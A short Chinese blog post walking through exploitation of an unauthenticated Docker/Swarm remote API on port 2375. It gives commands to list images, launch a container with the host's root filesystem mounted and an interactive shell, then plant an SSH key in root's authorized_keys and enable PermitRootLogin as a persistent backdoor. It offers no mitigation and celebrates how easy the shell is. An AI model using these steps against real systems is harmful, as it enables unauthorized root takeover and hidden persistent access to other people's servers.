从未授权swarm到宿主机免密访问

0x00 swarm的未授权访问

swarm是一个docker的集群管理工具,它兼容大部分的docker命令,会将请求转发给特定的docker。
官方文档说,别把2375端口暴露在外网,但很多时候大家都会选择默认安装,即把端口绑定在 0.0.0.0:2375,而它自身又缺乏有效的验证机制,所以一旦出现在外网,那就是见光死。

0x01 我们的payload

直入主题,对于开放的2375端口,直接执行 docker run -H tcp://host:2375 command 就可以执行任意docker命令,但我们的目标肯定不是拿到一个容器的权限这么简单,直入宿主机才有意思,所以,需要了解一下下面这些命令:

交互型任务:

docker exec -i -t cc /bin/bash

文件夹映射(很重要):

docker run -v /:/tmp $RepoTags

这里的意思是创建一个新容器,然后将宿主机器的根目录与新容器的/tmp目录映射,后面那个参数是你想用来创建新容器的镜像。镜像名怎么获取?http://host:2375/images/json

知道上面两个命令以后,我们综合一下:
docker -H tcp://host:2375 run -it -v /:/usr $RepoTags /bin/bash

从未授权swarm到宿主机免密访问_第1张图片

0x02 真正拿到控制权

经过刚才的命令,其实直接访问 /usr 就已经可以访问宿主机器的文件系统了,但当你执行类似 ifconfig 这种命令的时候,还是在容器的环境里,所以很多时候不够方便,而且如果服务是以root权限运行的话,你得到的shell也是root权限,这个时候我们就可以利用这个权限做一些事了,最方便的留后门方式,就是配置一个ssh免密登录:

进到/root目录,找到 .ssh 文件夹,如果没有,那说明当前的用户还没有生成公私钥,ssh-keygen –t rsa 生成一下,然后将自己的公钥添加到该 .ssh 下的 authorized_keys 文件中。

如果此时你尝试用root远程ssh登录,会报错:

Host key verification failed.

因为ssh的默认配置是不允许root登录的,所以需要改一下:

vim /etc/ssh/sshd_config

然后设置 PermitRootLogin yes
linux 发行版不同可能会出现vim等编辑器控制混乱的问题,怎么办?笨办法复制全部内容,修改其中的部分配置,然后再 echo >回去。

0x03 小结

这种轻松的拿shell简直不能更爽。

参考文档:
Docker Engine API v1.29 Reference
深入浅出Swarm
Docker Remote API未授权访问漏洞分析和利用
Docker远程访问get(root)shell姿势

你可能感兴趣的:(docker)